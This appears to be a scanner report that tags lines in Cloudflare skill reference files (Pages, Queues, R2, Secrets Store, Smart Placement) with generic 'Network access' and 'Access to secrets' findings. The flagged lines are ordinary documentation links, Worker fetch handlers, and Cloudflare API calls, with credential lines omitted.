| Find the guide for the existing framework | [Framework guides](https://developers.cloudflare.com/pages/framework-guides/index.md) |
packages/autoskills/skills-registry/cloudflare/references/pages/configuration.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Set build commands, root/output directories, and build variables | [Build configuration](https://developers.cloudflare.com/pages/configuration/build-configuration/index.md) | - Network accessline 6
| --- | --- | | Set build commands, root/output directories, and build variables | [Build configuration](https://developers.cloudflare.com/pages/configuration/build-configuration/index.md) | | Manage Wrangler configuration, environments, an - Network accessline 7
| Set build commands, root/output directories, and build variables | [Build configuration](https://developers.cloudflare.com/pages/configuration/build-configuration/index.md) | - Network accessline 8
| Manage Wrangler configuration, environments, and dashboard migration | [Functions configuration](https://developers.cloudflare.com/pages/functions/wrangler-configuration/index.md) | - Network accessline 9
| Configure resource bindings, variables, and secrets | [Bindings](https://developers.cloudflare.com/pages/functions/bindings/index.md) | - Network accessline 10
| Set static response headers | [Headers](https://developers.cloudflare.com/pages/configuration/headers/index.md) | | Configure static redirects and rewrites | [Redirects](https://developers.cloudflare.com/pages/configuration/redirects/inde - Network accessline 11
| Configure static redirects and rewrites | [Redirects](https://developers.cloudflare.com/pages/configuration/redirects/index.md) | | Choose which requests invoke Functions | [Routing](https://developers.cloudflare.com/pages/functions/routi - Network accessline 12
| Choose which requests invoke Functions | [Routing](https://developers.cloudflare.com/pages/functions/routing/index.md) | - Network accessline 13
| Configure monorepo project boundaries | [Monorepos](https://developers.cloudflare.com/pages/configuration/monorepos/index.md) | - Network accessline 14
| Run the project locally | [Local development](https://developers.cloudflare.com/pages/functions/local-development/index.md) |
packages/autoskills/skills-registry/cloudflare/references/pages/gotchas.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Build output is missing or incorrect | [Build configuration](https://developers.cloudflare.com/pages/configuration/build-configuration/index.md) | - Network accessline 6
| --- | --- | | Build output is missing or incorrect | [Build configuration](https://developers.cloudflare.com/pages/configuration/build-configuration/index.md) | | A static URL redirects or returns an unexpected 404 | [Serving Pages](https - Network accessline 7
| Build output is missing or incorrect | [Build configuration](https://developers.cloudflare.com/pages/configuration/build-configuration/index.md) | - Network accessline 8
| A static URL redirects or returns an unexpected 404 | [Serving Pages](https://developers.cloudflare.com/pages/configuration/serving-pages/index.md) | - Network accessline 9
| Static response headers are not applied | [Headers](https://developers.cloudflare.com/pages/configuration/headers/index.md) | - Network accessline 10
| A redirect rule does not match | [Redirects](https://developers.cloudflare.com/pages/configuration/redirects/index.md) | - Network accessline 11
| Investigate a failed Function request | [Debugging and logging](https://developers.cloudflare.com/pages/functions/debugging-and-logging/index.md) | - Network accessline 12
| Check deployment and file capacity | [Pages limits](https://developers.cloudflare.com/pages/platform/limits/index.md) | - Network accessline 13
| Understand Function versus static request billing | [Functions pricing](https://developers.cloudflare.com/pages/functions/pricing/index.md) | - Network accessline 19
Fetch the relevant [framework guide](https://developers.cloudflare.com/pages/framework-guides/index.md) before changing adapters or recommending another host. For a move to Workers, follow the [migration guide](https://developers.cloudflare
packages/autoskills/skills-registry/cloudflare/references/pages/patterns.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Maintain a framework deployment | [Framework guides](https://developers.cloudflare.com/pages/framework-guides/index.md) | - Network accessline 6
| --- | --- | | Maintain a framework deployment | [Framework guides](https://developers.cloudflare.com/pages/framework-guides/index.md) | | Deploy from an external build pipeline | [Direct Upload](https://developers.cloudflare.com/pages/get - Network accessline 7
| Maintain a framework deployment | [Framework guides](https://developers.cloudflare.com/pages/framework-guides/index.md) | - Network accessline 8
| Deploy from an external build pipeline | [Direct Upload](https://developers.cloudflare.com/pages/get-started/direct-upload/index.md) | - Network accessline 9
| Manage multiple apps in one repository | [Monorepos](https://developers.cloudflare.com/pages/configuration/monorepos/index.md) | - Network accessline 10
| Evaluate backend locality | [Smart Placement](https://developers.cloudflare.com/pages/functions/smart-placement/index.md) | - Network accessline 11
| Plan a move to Workers | [Migrate from Pages to Workers](https://developers.cloudflare.com/workers/static-assets/migration-guides/migrate-from-pages/index.md) |
packages/autoskills/skills-registry/cloudflare/references/queues/README.md
- Network accessline 13
See [How Queues works](https://developers.cloudflare.com/queues/reference/how-queues-works/index.md) and [delivery guarantees](https://developers.cloudflare.com/queues/reference/delivery-guarantees/index.md) before choosing ordering or dedu - Network accessline 24
For a first application, fetch [Getting started](https://developers.cloudflare.com/queues/get-started/index.md). Retrieve [limits](https://developers.cloudflare.com/queues/platform/limits/index.md) and [pricing](https://developers.cloudflar
packages/autoskills/skills-registry/cloudflare/references/queues/api.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Send individual messages or batches; choose encoding; implement a typed Worker queue handler; dispatch by queue name | [JavaScript APIs](https://developers.cloudflare.com/queues/configurat - Network accessline 6
|------|---------------| | Send individual messages or batches; choose encoding; implement a typed Worker queue handler; dispatch by queue name | [JavaScript APIs](https://developers.cloudflare.com/queues/configuration/javascript-apis/index - Network accessline 7
| Send individual messages or batches; choose encoding; implement a typed Worker queue handler; dispatch by queue name | [JavaScript APIs](https://developers.cloudflare.com/queues/configuration/javascript-apis/index.md) | - Network accessline 8
| Understand automatic acknowledgement, explicit per-message and batch actions, precedence, delivery failures, delays, and backoff | [Batching, retries, and delays](https://developers.cloudflare.com/queues/configuration/batching-retries/ind - Network accessline 9
| Pull over HTTP and acknowledge or retry using leases | [Pull consumers](https://developers.cloudflare.com/queues/configuration/pull-consumers/index.md) | - Network accessline 10
| Publish from outside Workers | [Publish to a Queue via HTTP](https://developers.cloudflare.com/queues/examples/publish-to-a-queue-via-http/index.md) |
packages/autoskills/skills-registry/cloudflare/references/queues/configuration.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Create a queue and connect producer and consumer Workers | [Getting started](https://developers.cloudflare.com/queues/get-started/index.md) | - Network accessline 6
|------|---------------| | Create a queue and connect producer and consumer Workers | [Getting started](https://developers.cloudflare.com/queues/get-started/index.md) | | Configure producer bindings, Worker consumers, retention, and concurr - Network accessline 7
| Create a queue and connect producer and consumer Workers | [Getting started](https://developers.cloudflare.com/queues/get-started/index.md) | - Network accessline 8
| Configure producer bindings, Worker consumers, retention, and concurrency settings | [Configure Queues](https://developers.cloudflare.com/queues/configuration/configure-queues/index.md) | - Network accessline 9
| Configure an external HTTP consumer and its visibility timeout | [Pull consumers](https://developers.cloudflare.com/queues/configuration/pull-consumers/index.md) | - Network accessline 10
| Choose batching, retry policy, or delivery delays | [Batching, retries, and delays](https://developers.cloudflare.com/queues/configuration/batching-retries/index.md) | - Network accessline 11
| Preserve messages that exhaust retries | [Dead Letter Queues](https://developers.cloudflare.com/queues/configuration/dead-letter-queues/index.md) | - Network accessline 12
| Set consumer scaling for downstream capacity | [Consumer concurrency](https://developers.cloudflare.com/queues/configuration/consumer-concurrency/index.md) | - Network accessline 13
| Choose content types and type Worker messages | [JavaScript APIs](https://developers.cloudflare.com/queues/configuration/javascript-apis/index.md) | - Network accessline 14
| Create, update, attach, remove, or delete queues and consumers | [Wrangler commands](https://developers.cloudflare.com/queues/reference/wrangler-commands/index.md) | - Network accessline 15
| Pause delivery, resume it, or purge messages | [Pause and purge](https://developers.cloudflare.com/queues/configuration/pause-purge/index.md) | - Network accessline 16
| Develop and test producers and consumers locally | [Local development](https://developers.cloudflare.com/queues/configuration/local-development/index.md) | - Network accessline 20
Fetch [limits](https://developers.cloudflare.com/queues/platform/limits/index.md) and [pricing](https://developers.cloudflare.com/queues/platform/pricing/index.md) for the account's plan before selecting retention, delays, or capacity. Do n
packages/autoskills/skills-registry/cloudflare/references/queues/gotchas.md
- Network accessline 5
| Symptom or question | Documentation and decision | |---------------------|----------------------------| | Successful work repeats after another message fails | Read [acknowledgement and retry rules](https://developers.cloudflare.com/queue - Network accessline 6
|---------------------|----------------------------| | Successful work repeats after another message fails | Read [acknowledgement and retry rules](https://developers.cloudflare.com/queues/configuration/batching-retries/index.md); use per-m - Network accessline 7
| Successful work repeats after another message fails | Read [acknowledgement and retry rules](https://developers.cloudflare.com/queues/configuration/batching-retries/index.md); use per-message outcomes for independent work. | - Network accessline 8
| A caught failure disappears instead of retrying | Read [handler lifecycle and APIs](https://developers.cloudflare.com/queues/configuration/javascript-apis/index.md); returning successfully can acknowledge messages. Explicitly retry failed - Network accessline 9
| Duplicate processing | Read [delivery guarantees](https://developers.cloudflare.com/queues/reference/delivery-guarantees/index.md); enforce idempotency at the side-effect destination. | - Network accessline 10
| Pull consumers cannot decode payloads | Check [pull consumer encoding](https://developers.cloudflare.com/queues/configuration/pull-consumers/index.md) and [content types](https://developers.cloudflare.com/queues/configuration/javascript-a - Network accessline 11
| Messages stop arriving or backlog grows | Check [consumer configuration](https://developers.cloudflare.com/queues/configuration/configure-queues/index.md), [pause state](https://developers.cloudflare.com/queues/configuration/pause-purge/i - Network accessline 12
| Dead-letter volume rises or messages disappear after retries | Read [Dead Letter Queues](https://developers.cloudflare.com/queues/configuration/dead-letter-queues/index.md); inspect failures and plan recovery before increasing retries. | - Network accessline 13
| API errors, resource exhaustion, or CPU failures | Read [error codes](https://developers.cloudflare.com/queues/reference/error-codes/index.md), [limits](https://developers.cloudflare.com/queues/platform/limits/index.md), and [consumer con - Network accessline 14
| Retention, delay, throughput, or cost assumptions no longer hold | Retrieve current [limits](https://developers.cloudflare.com/queues/platform/limits/index.md) and [pricing](https://developers.cloudflare.com/queues/platform/pricing/index.
packages/autoskills/skills-registry/cloudflare/references/queues/patterns.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Accept requests and enqueue asynchronous tasks; publish to multiple queues | [Publish to a Queue via Workers](https://developers.cloudflare.com/queues/examples/publish-to-a-queue-via-worke - Network accessline 6
|------|---------------| | Accept requests and enqueue asynchronous tasks; publish to multiple queues | [Publish to a Queue via Workers](https://developers.cloudflare.com/queues/examples/publish-to-a-queue-via-workers/index.md) | | Buffer w - Network accessline 7
| Accept requests and enqueue asynchronous tasks; publish to multiple queues | [Publish to a Queue via Workers](https://developers.cloudflare.com/queues/examples/publish-to-a-queue-via-workers/index.md) | - Network accessline 8
| Buffer writes to an external API or defer a job | [Batching, retries, and delays](https://developers.cloudflare.com/queues/configuration/batching-retries/index.md) | - Network accessline 9
| Handle upstream rate limits and backpressure | [Handle rate limits of external APIs](https://developers.cloudflare.com/queues/tutorials/handle-rate-limits/index.md) and [consumer concurrency](https://developers.cloudflare.com/queues/confi - Network accessline 10
| Isolate workloads with different latency or capacity needs | [Configure Queues](https://developers.cloudflare.com/queues/configuration/configure-queues/index.md) | - Network accessline 11
| Retain exhausted retries for inspection and recovery | [Dead Letter Queues](https://developers.cloudflare.com/queues/configuration/dead-letter-queues/index.md) | - Network accessline 12
| Process R2 object events | [R2 event notifications](https://developers.cloudflare.com/r2/buckets/event-notifications/index.md) | - Network accessline 13
| Batch output into R2 | [Use Queues to store data in R2](https://developers.cloudflare.com/queues/examples/send-errors-to-r2/index.md) | - Network accessline 14
| Batch writes into D1 | [D1 database API](https://developers.cloudflare.com/d1/worker-api/d1-database/index.md) | - Network accessline 15
| Start durable multi-step jobs | [Trigger Workflows](https://developers.cloudflare.com/workflows/build/trigger-workflows/index.md) | | Publish from a Durable Object | [Use Queues from Durable Objects](https://developers.cloudflare.com/queu - Network accessline 16
| Publish from a Durable Object | [Use Queues from Durable Objects](https://developers.cloudflare.com/queues/examples/use-queues-with-durable-objects/index.md) | - Network accessline 17
| Route consumer work to a Durable Object | [Invoke Durable Object methods](https://developers.cloudflare.com/durable-objects/best-practices/create-durable-object-stubs-and-send-requests/index.md) | - Network accessline 19
Design side effects for [at-least-once delivery](https://developers.cloudflare.com/queues/reference/delivery-guarantees/index.md). A separate check-then-write deduplication flag is not an atomic guarantee: concurrent delivery or a crash bet
packages/autoskills/skills-registry/cloudflare/references/r2/README.md
- Network accessline 7
- Use a Workers binding for object access inside a Worker: [Workers API setup](https://developers.cloudflare.com/r2/get-started/workers-api/index.md). - Network accessline 8
- Use the S3-compatible API for existing S3 clients or direct client access through presigned URLs: [S3 setup](https://developers.cloudflare.com/r2/get-started/s3/index.md). Check supported operations rather than assuming full S3 parity. - Network accessline 20
For other topics, discover pages through the [R2 documentation index](https://developers.cloudflare.com/r2/llms.txt). Check [pricing](https://developers.cloudflare.com/r2/pricing/index.md) before estimating costs. - Network accessline 24
- [Workers](https://developers.cloudflare.com/workers/index.md) for request handling.
packages/autoskills/skills-registry/cloudflare/references/r2/api.md
- Network accessline 5
| Task | Current documentation | |------|-----------------------| | Read, write, inspect, delete, or list objects; metadata, checksums, ranges, and return types | [Workers API reference](https://developers.cloudflare.com/r2/api/workers/work - Network accessline 6
|------|-----------------------| | Read, write, inspect, delete, or list objects; metadata, checksums, ranges, and return types | [Workers API reference](https://developers.cloudflare.com/r2/api/workers/workers-api-reference/index.md) | | I - Network accessline 7
| Read, write, inspect, delete, or list objects; metadata, checksums, ranges, and return types | [Workers API reference](https://developers.cloudflare.com/r2/api/workers/workers-api-reference/index.md) | - Network accessline 8
| Implement a Worker that serves or writes objects | [Use R2 from Workers](https://developers.cloudflare.com/r2/api/workers/workers-api-usage/index.md) | - Network accessline 9
| Create, resume, complete, or abort multipart uploads | [Multipart Worker and client example](https://developers.cloudflare.com/r2/api/workers/workers-multipart-usage/index.md) | - Network accessline 10
| Check supported S3 operations and headers | [S3 compatibility](https://developers.cloudflare.com/r2/api/s3/api/index.md) | | Configure an S3 JavaScript client | [AWS SDK for JavaScript v3](https://developers.cloudflare.com/r2/examples/aws - Network accessline 11
| Configure an S3 JavaScript client | [AWS SDK for JavaScript v3](https://developers.cloudflare.com/r2/examples/aws/aws-sdk-js-v3/index.md) | | Sign temporary upload or download access | [Presigned URLs](https://developers.cloudflare.com/r2 - Network accessline 12
| Sign temporary upload or download access | [Presigned URLs](https://developers.cloudflare.com/r2/api/s3/presigned-urls/index.md) | - Network accessline 13
| Encrypt with customer-provided keys | [SSE-C usage](https://developers.cloudflare.com/r2/examples/ssec/index.md) | - Network accessline 14
| Manage buckets and objects from the command line | [Wrangler R2 commands](https://developers.cloudflare.com/r2/reference/wrangler-commands/index.md) | - Network accessline 16
Use generated project types rather than maintaining local copies of R2 interfaces; see [Workers TypeScript guidance](https://developers.cloudflare.com/workers/languages/typescript/index.md). For pagination and conditional response handling,
packages/autoskills/skills-registry/cloudflare/references/r2/configuration.md
- Network accessline 5
| Task | Current documentation | |------|-----------------------| | Create a bucket and bind it to a Worker | [Workers API setup](https://developers.cloudflare.com/r2/get-started/workers-api/index.md) | - Network accessline 6
|------|-----------------------| | Create a bucket and bind it to a Worker | [Workers API setup](https://developers.cloudflare.com/r2/get-started/workers-api/index.md) | | Choose local simulation or a remote bucket during development | [Sup - Network accessline 7
| Create a bucket and bind it to a Worker | [Workers API setup](https://developers.cloudflare.com/r2/get-started/workers-api/index.md) | - Network accessline 8
| Choose local simulation or a remote bucket during development | [Supported bindings per development mode](https://developers.cloudflare.com/workers/local-development/bindings-per-env/index.md) and [local development](https://developers.cl - Network accessline 9
| Create S3 credentials and scope permissions | [R2 authentication](https://developers.cloudflare.com/r2/api/tokens/index.md) | - Network accessline 10
| Set the S3 endpoint and SDK region | [AWS SDK for JavaScript v3](https://developers.cloudflare.com/r2/examples/aws/aws-sdk-js-v3/index.md) | - Network accessline 11
| Choose placement hints or a jurisdiction | [Data location](https://developers.cloudflare.com/r2/reference/data-location/index.md) | - Network accessline 12
| Configure browser origins, methods, and headers | [CORS](https://developers.cloudflare.com/r2/buckets/cors/index.md) | - Network accessline 13
| Set expiration, storage transitions, or incomplete-upload cleanup | [Object lifecycles](https://developers.cloudflare.com/r2/buckets/object-lifecycles/index.md) | - Network accessline 14
| Choose or change storage classes | [Storage classes](https://developers.cloudflare.com/r2/buckets/storage-classes/index.md) and [pricing](https://developers.cloudflare.com/r2/pricing/index.md) | - Network accessline 15
| Send object events to a queue | [Event notifications](https://developers.cloudflare.com/r2/buckets/event-notifications/index.md) | - Network accessline 16
| Configure public access or a custom domain | [Public buckets](https://developers.cloudflare.com/r2/buckets/public-buckets/index.md) | - Network accessline 17
| Manage bucket settings with Wrangler | [R2 commands](https://developers.cloudflare.com/r2/reference/wrangler-commands/index.md) |
packages/autoskills/skills-registry/cloudflare/references/r2/gotchas.md
- Network accessline 5
| Symptom or decision | What to check | |---------------------|---------------| | Listing stops early or escapes the intended prefix | Follow `truncated` and the returned cursor, retaining the original prefix, delimiter, and metadata option - Network accessline 6
|---------------------|---------------| | Listing stops early or escapes the intended prefix | Follow `truncated` and the returned cursor, retaining the original prefix, delimiter, and metadata options on subsequent requests. See the listin - Network accessline 7
| Listing stops early or escapes the intended prefix | Follow `truncated` and the returned cursor, retaining the original prefix, delimiter, and metadata options on subsequent requests. See the listing section of the [Workers API reference] - Network accessline 8
| Conditional read has no body, or conditional write returns null | Distinguish a missing object from a failed condition; choose the HTTP response for the actual request condition. See conditional operations in the [Workers API reference](h - Network accessline 9
| ETag, metadata, checksum, or stream upload behaves unexpectedly | Check supported values and return types in the [Workers API reference](https://developers.cloudflare.com/r2/api/workers/workers-api-reference/index.md), the [Worker upload - Network accessline 10
| Multipart upload fails or cannot be resumed | Check part constraints and handle an upload that has already completed or aborted: [multipart guide](https://developers.cloudflare.com/r2/api/workers/workers-multipart-usage/index.md) and [API - Network accessline 11
| S3 authentication or signed URL fails | Verify credentials, endpoint, region, operation, signed headers, and expiry using [SDK setup](https://developers.cloudflare.com/r2/examples/aws/aws-sdk-js-v3/index.md), [authentication](https://deve - Network accessline 12
| Browser fails but an HTTP client succeeds | Check [CORS](https://developers.cloudflare.com/r2/buckets/cors/index.md) and [troubleshooting](https://developers.cloudflare.com/r2/platform/troubleshooting/index.md). | - Network accessline 13
| Local and deployed data or behavior differ | Check [local development](https://developers.cloudflare.com/workers/local-development/index.md), [supported bindings](https://developers.cloudflare.com/workers/local-development/bindings-per-en - Network accessline 14
| Reads serve old or missing content after an update | Check the [consistency model and cache interactions](https://developers.cloudflare.com/r2/reference/consistency/index.md). | - Network accessline 15
| Upload size, metadata size, storage cost, or lifecycle behavior is unexpected | Fetch [limits](https://developers.cloudflare.com/r2/platform/limits/index.md), [pricing](https://developers.cloudflare.com/r2/pricing/index.md), [storage clas - Network accessline 17
For other failures, start with [R2 troubleshooting](https://developers.cloudflare.com/r2/platform/troubleshooting/index.md) and [error codes](https://developers.cloudflare.com/r2/api/error-codes/index.md).
packages/autoskills/skills-registry/cloudflare/references/r2/patterns.md
- Network accessline 5
| Task | Current documentation | |------|-----------------------| | Stream object downloads or accept uploads through a Worker | [Use R2 from Workers](https://developers.cloudflare.com/r2/api/workers/workers-api-usage/index.md) | - Network accessline 6
|------|-----------------------| | Stream object downloads or accept uploads through a Worker | [Use R2 from Workers](https://developers.cloudflare.com/r2/api/workers/workers-api-usage/index.md) | | Add conditional reads/writes, range handl - Network accessline 7
| Stream object downloads or accept uploads through a Worker | [Use R2 from Workers](https://developers.cloudflare.com/r2/api/workers/workers-api-usage/index.md) | - Network accessline 8
| Add conditional reads/writes, range handling, checksums, or batch deletion | [Workers API reference](https://developers.cloudflare.com/r2/api/workers/workers-api-reference/index.md) | | Upload large files with multipart state tracked by t - Network accessline 9
| Upload large files with multipart state tracked by the client | [Multipart Worker and client example](https://developers.cloudflare.com/r2/api/workers/workers-multipart-usage/index.md) | | Upload directly from a browser or share a tempora - Network accessline 10
| Upload directly from a browser or share a temporary download | [Presigned URLs](https://developers.cloudflare.com/r2/api/s3/presigned-urls/index.md) and [CORS](https://developers.cloudflare.com/r2/buckets/cors/index.md) | - Network accessline 11
| Cache responses served by a Worker | [Cache API example](https://developers.cloudflare.com/r2/examples/cache-api/index.md) | - Network accessline 12
| Deliver public objects through a custom domain or evaluate r2.dev | [Public buckets](https://developers.cloudflare.com/r2/buckets/public-buckets/index.md) | - Network accessline 13
| Process object changes asynchronously | [Event notifications](https://developers.cloudflare.com/r2/buckets/event-notifications/index.md) and [Queues](../queues/) | - Network accessline 14
| Expire objects or transition storage classes | [Object lifecycles](https://developers.cloudflare.com/r2/buckets/object-lifecycles/index.md) and [storage classes](https://developers.cloudflare.com/r2/buckets/storage-classes/index.md) | - Network accessline 18
Keep private responses out of shared public caches. Choose cache keys and invalidation around the application's access model, and check [R2 consistency and caching behavior](https://developers.cloudflare.com/r2/reference/consistency/index.m
packages/autoskills/skills-registry/cloudflare/references/secrets-store/README.md
- Network accessline 3
Use Secrets Store for account-level credentials shared across Workers or supported integrations. Use [Worker secrets](https://developers.cloudflare.com/workers/configuration/secrets/index.md) when credentials belong to one Worker and do not - Network accessline 5
Fetch the relevant documentation before implementing. Current Cloudflare docs are the source of truth for binding APIs, management commands, permissions, availability, and quotas. Use the [Secrets Store documentation index](https://develope - Network accessline 9
- Share a secret only among services that should use the same credential and rotate together. - Separate development, staging, and production credentials; select the intended account and environment before managing or binding a secret. - Gr - Network accessline 11
- Grant only the management permissions and consuming-service scopes needed. Permission to view metadata does not imply permission to bind or retrieve a value; fetch [access control](https://developers.cloudflare.com/secrets-store/access-co - Network accessline 22
Fetch the [product overview](https://developers.cloudflare.com/secrets-store/index.md) for current availability and supported integrations. For AI Gateway provider credentials, use [Bring your own keys](https://developers.cloudflare.com/ai-
packages/autoskills/skills-registry/cloudflare/references/secrets-store/api.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Read a bound account secret asynchronously in a Worker | [Workers integration: access the secret](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md#3-access-the - Network accessline 6
|------|---------------| | Read a bound account secret asynchronously in a Worker | [Workers integration: access the secret](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md#3-access-the-secret-on-the-env-object - Network accessline 7
| Read a bound account secret asynchronously in a Worker | [Workers integration: access the secret](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md#3-access-the-secret-on-the-env-object) | - Network accessline 8
| Generate binding and runtime types for the Worker configuration | [Workers TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md) | - Network accessline 9
| Manage stores and secrets, inspect metadata, or query quota | [Secrets Store REST API](https://developers.cloudflare.com/api/resources/secrets_store/index.md) | - Network accessline 10
| Choose authorization and consuming-service scope | [Access control](https://developers.cloudflare.com/secrets-store/access-control/index.md) | - Network accessline 11
| Manage secrets through the CLI instead of REST | [Wrangler Secrets Store commands](https://developers.cloudflare.com/workers/wrangler/commands/secrets-store/index.md) | - Network accessline 15
Account-secret bindings require asynchronous retrieval; they are not the direct string values exposed by [Worker secrets](https://developers.cloudflare.com/workers/configuration/secrets/index.md). Account management APIs and metadata reads
packages/autoskills/skills-registry/cloudflare/references/secrets-store/configuration.md
- Network accessline 7
| Task | Documentation | |------|---------------| | Create a store and secret, then bind it through Wrangler or the dashboard | [Workers integration](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md) | - Network accessline 8
|------|---------------| | Create a store and secret, then bind it through Wrangler or the dashboard | [Workers integration](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md) | | Create, edit, duplicate, or dele - Network accessline 9
| Create a store and secret, then bind it through Wrangler or the dashboard | [Workers integration](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md) | - Network accessline 10
| Create, edit, duplicate, or delete account secrets | [Manage secrets](https://developers.cloudflare.com/secrets-store/manage-secrets/how-to/index.md) | - Network accessline 11
| Look up current store/secret command syntax and local versus remote flags | [Wrangler Secrets Store commands](https://developers.cloudflare.com/workers/wrangler/commands/secrets-store/index.md) | - Network accessline 12
| Configure bindings for each deployment environment | [Wrangler environments](https://developers.cloudflare.com/workers/wrangler/environments/index.md) | - Network accessline 13
| Choose user roles, CI token permissions, and secret scopes | [Secrets Store access control](https://developers.cloudflare.com/secrets-store/access-control/index.md) | - Network accessline 19
Secrets Store management commands default to local state; production operations use the documented remote option. Local development needs separately provisioned local secrets. Follow the local-development notes in [Workers integration](http - Network accessline 21
Check the selected account, deployment environment, secret scope, and binding configuration before deploying. In CI, distinguish permission to read metadata from permission to attach a secret to a Worker; use the [CI/CD access-control guida
packages/autoskills/skills-registry/cloudflare/references/secrets-store/gotchas.md
- Network accessline 5
| Symptom or decision | What to check | Documentation | |---------------------|---------------|---------------| | Deployment cannot attach a secret | Selected account, caller's binding permission, and the secret's consuming-service scope; m - Network accessline 6
|---------------------|---------------|---------------| | Deployment cannot attach a secret | Selected account, caller's binding permission, and the secret's consuming-service scope; metadata read permission alone is insufficient | [Access - Network accessline 7
| Deployment cannot attach a secret | Selected account, caller's binding permission, and the secret's consuming-service scope; metadata read permission alone is insufficient | [Access control](https://developers.cloudflare.com/secrets-store - Network accessline 8
| Secret is missing or the wrong value is used | Store, secret name, binding name, and selected deployment environment | [Workers integration](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md), [Wrangler environ - Network accessline 9
| Secret works in production but fails locally | Local secret provisioning and the management command's local/remote target | [Workers integration](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md), [Wrangler co - Network accessline 10
| CLI update, retrieval, or deletion fails | The operation's required identifier and flags; a secret name is not interchangeable with its ID | [Wrangler commands](https://developers.cloudflare.com/workers/wrangler/commands/secrets-store/ind - Network accessline 11
| Binding is treated as a string or has incorrect types | Asynchronous account-secret access and generated configuration types | [Runtime access](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md#3-access-the-sec - Network accessline 12
| Quota or value-size validation fails | Current account quota and the requested operation's schema | [Secrets Store REST API](https://developers.cloudflare.com/api/resources/secrets_store/index.md) | - Network accessline 13
| Regional or integration support is unclear | Current product availability and supported consumers | [Product overview](https://developers.cloudflare.com/secrets-store/index.md) | - Network accessline 17
Before deleting a secret to fix a binding conflict or quota problem, identify all consumers. Follow [secret management](https://developers.cloudflare.com/secrets-store/manage-secrets/how-to/index.md) and the rotation decisions in [patterns.
packages/autoskills/skills-registry/cloudflare/references/secrets-store/patterns.md
- Network accessline 7
Fetch [edit, duplicate, and delete operations](https://developers.cloudflare.com/secrets-store/manage-secrets/how-to/index.md) and [Workers binding setup](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md) before - Network accessline 13
Read [Worker secrets](https://developers.cloudflare.com/workers/configuration/secrets/index.md) alongside [Secrets Store Workers integration](https://developers.cloudflare.com/secrets-store/integrations/workers/index.md). Migration changes - Network accessline 17
For cryptographic operations, fetch [Workers Web Crypto](https://developers.cloudflare.com/workers/runtime-apis/web-crypto/index.md) and the [request-signing example](https://developers.cloudflare.com/workers/examples/signing-requests/index - Network accessline 23
Fetch [Secrets Store audit logs](https://developers.cloudflare.com/secrets-store/audit-logs/index.md) for the recorded actions and how to inspect them. Keep application telemetry free of credential values; do not assume account audit events - Network accessline 25
For AI Gateway credentials, use [Bring your own keys](https://developers.cloudflare.com/ai-gateway/configuration/bring-your-own-keys/index.md). For an internal authentication service, consult [Worker service bindings](https://developers.clo
packages/autoskills/skills-registry/cloudflare/references/smart-placement/README.md
- Network accessline 102
[Credential-related source omitted] - Network accessline 103
[Credential-related source omitted] - Network accessline 104
https://api.cloudflare.com/client/v4/accounts/$ACCOUNT_ID/workers/services/$WORKER_NAME \ - Network accessline 135
- [workers](https://developers.cloudflare.com/workers/index.md) - Worker runtime and fetch handlers - Network accessline 136
- [d1](../d1/) - D1 database that benefits from Smart Placement - [durable-objects](https://developers.cloudflare.com/durable-objects/index.md) - Durable Objects with backend logic - [bindings](../bindings/) - Service bindings for frontend/ - Network accessline 137
- [durable-objects](https://developers.cloudflare.com/durable-objects/index.md) - Durable Objects with backend logic
packages/autoskills/skills-registry/cloudflare/references/smart-placement/api.md
- Network accessline 8
curl -X GET "https://api.cloudflare.com/client/v4/accounts/{ACCOUNT_ID}/workers/services/{WORKER_NAME}" \ - Network accessline 68
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 69
async fetch(request: Request, env: Env): Promise<Response> { - Access to secretsline 82
[Credential-related source omitted] - Network accessline 130
[Credential-related source omitted] - Network accessline 131
[Credential-related source omitted] - Network accessline 132
https://api.cloudflare.com/client/v4/accounts/$ACCOUNT_ID/workers/services/$WORKER_NAME \ - Network accessline 175
// Example Worker with Service Binding export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 176
export default { async fetch(request: Request, env: Env): Promise<Response> { // Forward to backend Worker with Smart Placement enabled - Network accessline 177
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 178
// Forward to backend Worker with Smart Placement enabled const response = await env.BACKEND_SERVICE.fetch(request); return response; - Network accessline 179
const response = await env.BACKEND_SERVICE.fetch(request); - Access to secretsline 182
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare/references/smart-placement/configuration.md
- Network accessline 85
// ✅ Smart Placement affects this: export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 86
export default { async fetch(request: Request, env: Env): Promise<Response> { // This runs close to backend when Smart Placement enabled - Network accessline 87
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 144
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 145
async fetch(request: Request, env: Env): Promise<Response> { - Access to secretsline 149
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare/references/smart-placement/gotchas.md
- Network accessline 131
// ✅ Fetch - Smart Placement WORKS export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 132
export default { async fetch(request: Request, env: Env): Promise<Response> { // Runs close to DATABASE when Smart Placement enabled - Network accessline 133
async fetch(request: Request, env: Env): Promise<Response> {
packages/autoskills/skills-registry/cloudflare/references/smart-placement/patterns.md
- Network accessline 6
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 7
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 30
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 31
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 32
